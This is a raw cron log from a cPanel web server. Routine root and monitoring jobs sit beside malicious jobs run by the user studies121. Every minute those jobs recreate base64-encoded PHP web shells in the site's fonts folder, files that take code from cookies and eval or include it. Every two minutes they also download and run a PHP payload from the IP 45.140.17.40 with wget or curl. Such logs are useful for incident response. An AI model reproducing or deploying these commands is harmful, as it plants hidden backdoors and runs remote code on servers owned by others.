Sep  3 05:33:01 ip-184-168-122-23 CROND[10176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:33:01 ip-184-168-122-23 CROND[10175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:34:01 ip-184-168-122-23 CROND[10266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:34:01 ip-184-168-122-23 CROND[10267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:34:01 ip-184-168-122-23 CROND[10269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:34:01 ip-184-168-122-23 CROND[10271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:34:01 ip-184-168-122-23 CROND[10268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:35:01 ip-184-168-122-23 CROND[10436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:35:01 ip-184-168-122-23 CROND[10437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:35:02 ip-184-168-122-23 CROND[10439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:35:02 ip-184-168-122-23 CROND[10441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:35:02 ip-184-168-122-23 CROND[10442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:35:02 ip-184-168-122-23 CROND[10444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:35:02 ip-184-168-122-23 CROND[10447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:35:02 ip-184-168-122-23 CROND[10448]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 05:36:01 ip-184-168-122-23 CROND[10571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:36:01 ip-184-168-122-23 CROND[10574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:36:01 ip-184-168-122-23 CROND[10575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:36:01 ip-184-168-122-23 CROND[10573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:36:01 ip-184-168-122-23 CROND[10572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:37:01 ip-184-168-122-23 CROND[10718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:37:01 ip-184-168-122-23 CROND[10719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:37:01 ip-184-168-122-23 CROND[10720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:37:01 ip-184-168-122-23 CROND[10721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:38:01 ip-184-168-122-23 CROND[10806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:38:01 ip-184-168-122-23 CROND[10808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:38:01 ip-184-168-122-23 CROND[10811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:38:01 ip-184-168-122-23 CROND[10809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:38:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:39:01 ip-184-168-122-23 CROND[10928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:39:01 ip-184-168-122-23 CROND[10930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:39:01 ip-184-168-122-23 CROND[10932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:39:01 ip-184-168-122-23 CROND[10931]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 05:39:01 ip-184-168-122-23 CROND[10933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:40:01 ip-184-168-122-23 CROND[11127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:40:01 ip-184-168-122-23 CROND[11129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:40:01 ip-184-168-122-23 CROND[11136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:40:01 ip-184-168-122-23 CROND[11130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:40:01 ip-184-168-122-23 CROND[11134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:40:01 ip-184-168-122-23 CROND[11133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:40:01 ip-184-168-122-23 CROND[11131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:40:01 ip-184-168-122-23 CROND[11135]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:41:01 ip-184-168-122-23 CROND[11288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:41:01 ip-184-168-122-23 CROND[11290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:41:01 ip-184-168-122-23 CROND[11291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:41:01 ip-184-168-122-23 CROND[11292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:42:01 ip-184-168-122-23 CROND[11415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:42:01 ip-184-168-122-23 CROND[11416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:42:01 ip-184-168-122-23 CROND[11418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:42:01 ip-184-168-122-23 CROND[11417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:42:01 ip-184-168-122-23 CROND[11420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:43:01 ip-184-168-122-23 CROND[11546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:43:01 ip-184-168-122-23 CROND[11547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:43:01 ip-184-168-122-23 CROND[11545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:43:01 ip-184-168-122-23 CROND[11548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:44:01 ip-184-168-122-23 CROND[11670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:44:01 ip-184-168-122-23 CROND[11672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:44:02 ip-184-168-122-23 CROND[11673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:44:02 ip-184-168-122-23 CROND[11674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:44:02 ip-184-168-122-23 CROND[11678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:45:01 ip-184-168-122-23 CROND[11870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:45:01 ip-184-168-122-23 CROND[11872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:45:01 ip-184-168-122-23 CROND[11873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:45:01 ip-184-168-122-23 CROND[11875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:45:01 ip-184-168-122-23 CROND[11876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
